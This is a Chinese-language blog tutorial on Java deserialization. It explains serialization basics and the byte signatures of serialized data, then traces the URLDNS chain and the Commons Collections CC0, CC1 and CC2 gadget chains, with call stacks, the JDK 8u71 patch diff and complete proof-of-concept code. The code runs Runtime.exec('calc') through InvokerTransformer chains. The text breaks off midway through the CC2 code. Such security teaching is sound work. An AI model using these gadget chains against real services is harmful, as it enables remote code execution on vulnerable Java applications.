首页 > 基础资料 博客日记

Java 反序列化

2024-10-29 06:00:08基础资料围观61

这篇文章介绍了Java 反序列化,分享给大家做个参考,收藏Java资料网收获更多编程知识

反序列化基础

Java 的序列化(Serialization)和反序列化(Deserialization)是将对象的状态转换为字节流并恢复的过程。这个过程使对象可以保存到文件、通过网络传输或保存到数据库中,并在稍后恢复成对象。

  • 序列化(Serialization):将 Java 对象的状态转换为字节流的过程。这使得对象可以保存到文件、发送到其他 JVM 甚至通过网络传输。
  • 反序列化(Deserialization):将字节流转换回 Java 对象的过程。这允许恢复先前序列化的对象状态。

序列化条件

要使 Java 对象可序列化,类必须实现 java.io.Serializable 接口。这个接口是一个标记接口(没有方法),它表明该类的对象可以被序列化

import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L; // 用于版本控制
    private String name;
    private int age;

    // Constructors, getters, and setters
}
  • serialVersionUID:每个可序列化类建议定义一个 serialVersionUID 字段,用于版本控制。不同的 serialVersionUID 表示类的不同版本,如果序列化和反序列化的版本不匹配会抛出 InvalidClassException
    private static final long serialVersionUID = 1L;
    
  • transient 关键字:声明为 transient 的字段不会被序列化。它用于避免序列化敏感信息或不需要保存的字段。这种字段反序列化后为默认值(如 null)。
    private transient String password; // 密码不会被序列化
    
  • 静态字段:静态字段属于类,而不是实例,因此不会被序列化。
  • 对象图的完整性:序列化对象时,会递归地序列化其引用的所有对象。因此,引用对象也必须是可序列化的,否则会抛出 NotSerializableException

序列化接口

序列化基本用法

  • 序列化对象:使用 ObjectOutputStream 将对象写入(writeObject 方法)到输出流(如文件输出流)。
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(hashMap);
    
  • 反序列化对象:使用 ObjectInputStream 从输入流(如文件输入流)读取(readObject 方法)对象。
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    hashMap = (HashMap)objectInputStream.readObject();
    

自定义序列化

  • 自定义序列化:通过实现 writeObjectreadObject 方法,可以自定义序列化和反序列化的行为。通常精心构造的序列化对象和 readObject 的自定义操作结合就可以造成反序列化漏洞。

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject(); // 默认序列化
        // 额外的序列化逻辑
    }
    
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 默认反序列化
        // 额外的反序列化逻辑
    }
    
  • Externalizable 接口ExternalizableSerializable 的子接口,它强制实现 writeExternalreadExternal 方法,提供完全控制序列化过程的能力。这对性能优化或定制序列化格式非常有用。

    import java.io.Externalizable;
    import java.io.IOException;
    import java.io.ObjectInput;
    import java.io.ObjectOutput;
    
    public class Person implements Externalizable {
        private String name;
        private int age;
    
        // 必须有无参数构造函数
        public Person() {}
    
        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
    
        @Override
        public void writeExternal(ObjectOutput out) throws IOException {
            out.writeObject(name);
            out.writeInt(age);
        }
    
        @Override
        public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
            name = (String) in.readObject();
            age = in.readInt();
        }
    }
    

反序列化功能特征

压缩特征(压缩后一些数据格式改变)

  • zip 格式特征:PK*
  • zip+base64:UE*
  • gzip+base64:H4s*

反序列化数据特征(数据内容+请求类型)

  • AC ED 00 05 in Hex
  • rO0 in Base64
  • Content-type = ‘application/x-java-serialized-object

反序列化利用(URLDNS 为例)

URLDNS 反序列化利用链可以通过 DNS 请求来验证反序列化漏洞的可利用性。这条利用链使用 Java 内置的类构造,对第三方库没有依赖,可以在没有回显的情况下验证是否存在反序列化漏洞。我们可以在 https://requestrepo.com/ 网站上进行 DNS 请求测试。

测试代码

package com.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS {

    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL(null, "http://www.example.com", new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
        });
        setFieldValue(url, "hashCode", 0xdeadbeef); // 防止提前触发影响观察现象
        hashMap.put(url, "sky123");
        setFieldValue(url, "hashCode", -1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static Object getFieldValue(Object object, String fieldName) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(object);
    }
}

利用链分析

调用栈如下:

getHostAddress:436, URLStreamHandler (java.net)
hashCode:353, URLStreamHandler (java.net)
hashCode:878, URL (java.net)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)

首先在 HashMap.readObject 中会遍历 HashMap 的成员并对 key 调用 HashMap.hash 函数计算 hash。

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
    	...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);	//	<-- 调用 hash 函数
        }
    }
}

HashMap.hash 函数中会调用 keyhashCode 方法,也就是 URL.hashCode

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URL.hashCode 函数中,由于我们设置 url 对象的 hashCode 成员值为 -1,因此会调用 URLStreamHandler.hashCode 函数。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

URLStreamHandler.hashCode 函数会调用 getHostAddress 函数获取 URL 对应的 ip 地址,也就会发送 DNS 请求。

protected int hashCode(URL u) {
	...
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
	...
}

CommonCollections 系列

Commons Collections 概述

Apache Commons Collections 是⼀个著名的辅助开发库,包含了一些 Java 中没有的数据结构和和辅助方法,不过随着 Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是 Commons Collections 老的版本包,当时版本号是 3.2.1;后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

因为官方认为旧的 commons-collections 有⼀些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons/collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons/collections4 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

Transformer

Transformer 是一个接口,具体代码如下,可以看到这个接口只有一个 transform 方法。

public interface Transformer {
    Object transform(Object var1);
}

Transformer 可以说是 CC 链的核心,几乎所有的 CC 链都依赖于 Transformer。我们可以简单的把 CC 链总结为:

  • 先寻找一个类,这个类自定义的 readObject 方法会直接或间接的触发对指定 Transformer 对象调用 transform 方法的代码。
  • 由于我们可以用一系列 Transformer 接口实现类实现代码执行流的完全控制,因此当调用 transform 方法的时候,就可以执行我们的恶意代码。

调用 transform 方法的对象

TransformedMap

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加(写入操作)新的元素时,将可以执行一个回调。我们通过下面这行代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

被修饰后的 outerMap 在转换 Map 的新元素时,就会调用 transform 方法,这个过程就类似在调用⼀个“回调函数”,这个回调的参数是原始对象。

例如 TransformedMap.put 方法:

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

另外对 TransformedMap 内部成员调用 setValue 时也会调用 transform 方法。

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}
 
public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}
LazyMap

LazyMapTransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

在 Common-Collections4 中 decorate 方法改为 lazyMap

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)

LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

注意 LazyMap 是在其 get 方法中执行的 factory.transform 的条件是 LazyMap 没有当前查询的 key,也就是说对于一个特定的 key,我们只能调用一次 transform 。除非调用 Map.clear 方法清空 LazyMap

TransformingComparator

TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。对于一些需要维护顺序的数据结构(如 java.util.PriorityQueue),如果传入 TransformingComparator 用于两个对象的比较,那么比较两个对象的时候会调用 TransformingComparatorcompare 方法。在 compare 方法内部会调用其中 transformer 成员的 transform 方法并传入进行比较的对象。

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

TransformingComparator 的构造函数如下,这里的 transformer 就是我们构造的 Transformer 结构,另外 decorated 如果不指定会传入 new ComparableComparator()

public TransformingComparator(Transformer transformer) {
    this(transformer, new ComparableComparator());
}

public TransformingComparator(Transformer transformer, Comparator decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

Transformer 的接口实现类

ConstantTransformer

ConstantTransformer 在构造函数的时候传入一个对象,并在 transform 方法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

Transformer 构造的代码执行流中,我们可以把 ConstantTransformer 理解为一个常量,可以返回一个确定的对象。

这样我们就可以屏蔽前面定义的 readObject 方法触发 transform 方法调用时传入的 input 参数对我们构造的 Transformer 构造的代码执行流产生影响。

InvokerTransformer

InvokerTransformer 可以对 transform 方法传入的对象参数用来执行任意方法,这也是反序列化能执行任意代码的关键。

在实例化这个 InvokerTransformer 时,需要传入三个参数:

  • String methodName:待执行的函数名
  • Class[] paramTypes:这个函数的参数类型列表
  • Object[] args:传给这个函数的参数列表
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法,并传入 iArgs 参数,即 input.iMethod(iArgs)

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                InvocationTargetException ex = var6;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }
InstantiateTransformer

InstantiateTransformer 会把传入的 input 看做是一个 Class 对象,然后调用其对应的构造函数并传入指定参数来实例化一个对象。

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }
ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

Transformer 构造代码执行流

构造任意代码执行

根据前面对 Transformer 的介绍,我们可以将 Runtime.getRuntime().exec("calc") 拆解为 runtime = Runtime.getRuntime()runtime.exec("calc") 两部分,因而有如下构造:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

然而由于 Runtime 对象没有实现 Serializable 接口,因此 transformerChain 对象是无法序列化的,因此我们还要把 Runtime.getRuntime() 拆解为 getRuntime = Runtime.class.getMethod("getRuntime")getRuntime.invoke(null)

由于 InvokerTransformer 内部会对传入的方法调用 getMethod 查找,因此构造 InvokerTransformer 时传入的参数类型需要严格按照传入的方法名对应的方法的定义来,且参数要和参数类型数量严格对应,这就是为什么实际上我们构造的是 Runtime.class.getMethod("getRuntime", null)getRuntime.invoke(null, null)

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
构造任意字节码加载

TemplatesImpl 加载任意字节码有如下调用栈:

defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
main:34, DefineClassExample (com.example)

因此我们只需要想办法让程序执行流程能够到达这个调用栈中任意一个函数即可,例如 newTransformer

Object obj = createTemplatesImpl("calc");

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(obj),
        new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

相关利用链

CommonsCollections0(AnnotationInvocationHandler→TransformedMap)

sun.reflect.annotation.AnnotationInvocationHandlerreadObject 中的 memberValue.setValue 会调用 setValue 方法,进而会调用到 memberValuestransformer 方法。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

不过这里需要绕过 memberType != null 判断,根据调试可知 memberTypes 中的 key 是构造时传入的 type 对应的类中的所有方法名字符串,而 name 是构造时传入的 memberValues 中的某个 key

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

又因为 type 还要继承自 Annotation,因此因此我构造的时候 type 选择 Retention.class ,这样 memberTypes 中的键就有一个 value 字符串,此时我们预先在 memberValues 中存一个 value 字符串的键就可以执行到 setValue 方法。

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

完整 poc 如下:

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.*;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "sky");

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(handler);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

调用栈如下:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:204, TransformedMap (org.apache.commons.collections.map)
setValue:192, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:356, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:36, CommonsCollections1 (com.example)

在 8u71 以后大概是 2015 年 12 月的时候,Java 官方修改sun.reflect.annotation.AnnotationInvocationHandlerreadObject 函数。新版的 readObject 不再操作 memberValues 而是操作 Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null) ,因此 CC1 失效。

--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 08:58:28 2015 -0500
+++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 22:38:16 2015 +0000
@@ -25,6 +25,7 @@

 package sun.reflect.annotation;

+import java.io.ObjectInputStream;
 import java.lang.annotation.*;
 import java.lang.reflect.*;
 import java.io.Serializable;
@@ -425,35 +426,72 @@

     private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException, ClassNotFoundException {
-        s.defaultReadObject();
+        ObjectInputStream.GetField fields = s.readFields();
+
+        @SuppressWarnings("unchecked")
+        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+        @SuppressWarnings("unchecked")
+        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

         // Check to make sure that types have not evolved incompatibly

         AnnotationType annotationType = null;
         try {
-            annotationType = AnnotationType.getInstance(type);
+            annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }

         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
+        // consistent with runtime Map type
+        Map<String, Object> mv = new LinkedHashMap<>();

         // If there are annotation members without values, that
         // situation is handled by the invoke method.
-        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
+        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
+            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
-                Object value = memberValue.getValue();
+                value = memberValue.getValue();
                 if (!(memberType.isInstance(value) ||
                       value instanceof ExceptionProxy)) {
-                    memberValue.setValue(
-                        new AnnotationTypeMismatchExceptionProxy(
+                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
-                                annotationType.members().get(name)));
+                                annotationType.members().get(name));
                 }
             }
+            mv.put(name, value);
+        }
+
+        UnsafeAccessor.setType(this, t);
+        UnsafeAccessor.setMemberValues(this, mv);
+    }
+
+    private static class UnsafeAccessor {
+        private static final sun.misc.Unsafe unsafe;
+        private static final long typeOffset;
+        private static final long memberValuesOffset;
+        static {
+            try {
+                unsafe = sun.misc.Unsafe.getUnsafe();
+                typeOffset = unsafe.objectFieldOffset
+                        (AnnotationInvocationHandler.class.getDeclaredField("type"));
+                memberValuesOffset = unsafe.objectFieldOffset
+                        (AnnotationInvocationHandler.class.getDeclaredField("memberValues"));
+            } catch (Exception ex) {
+                throw new ExceptionInInitializerError(ex);
+            }
+        }
+        static void setType(AnnotationInvocationHandler o,
+                            Class<? extends Annotation> type) {
+            unsafe.putObject(o, typeOffset, type);
+        }
+
+        static void setMemberValues(AnnotationInvocationHandler o,
+                                    Map<String, Object> memberValues) {
+            unsafe.putObject(o, memberValuesOffset, memberValues);
         }
     }
 }

CommonsCollections1(AnnotationInvocationHandler→LazyMap)

前面提到过,LazyMap 修饰过的 Map 只要调用 get 方法就会触发 transform 方法。然而 AnnotationInvocationHandler.readObject 并没有调用 get 方法。

不过幸运的是 AnnotationInvocationHandler 实现了 InvocationHandler 接口,本身是一个动态代理接口对象,也就是说只要我们把一个 MapAnnotationInvocationHandler 代理,那么代理后的 Map 的任何方法调用都会执行到 AnnotationInvocationHandlerinvoke 方法。

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

AnnotationInvocationHandlerinvoke 方法特判几种方法后会调用 memberValuesget 方法,也就会触发 LazyMaptransform 方法调用。

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);  // 调用 get 方法

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

完整 poc 如下,需要注意的是代理之后任何对 proxyMap 的操作都会触发 transformer 调用,因此需要最后设置恶意的 Transformer

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(handler);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

调用栈如下:

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy) 内层 AnnotationInvocationHandler 代理的 Map
readObject:349, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:42, CommonsCollections1 (com.example)

CommonsCollections2(PriorityQueue→TransformingComparator)

前面提到,TransformingComparator 在比较时会对比较的对象调用 transform 方法。

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

而 Java 中内置的维护顺序的容器如 PriorityQueue 在反序列化时会对内部的元素进行排序,这个过程中在 siftDownUsingComparator 函数内涉及了元素大小的比较。

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
  
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

因此我们只需要在创建 PriorityQueue 容器时指定比较对象为我们定义的 TransformingComparator,之后往 PriorityQueue 中随便放两个元素,那么在反序列化时就会调用 comparator.compare 方法触发 transform 方法调用。

Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2,comparator);

poc 如下:

package com.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
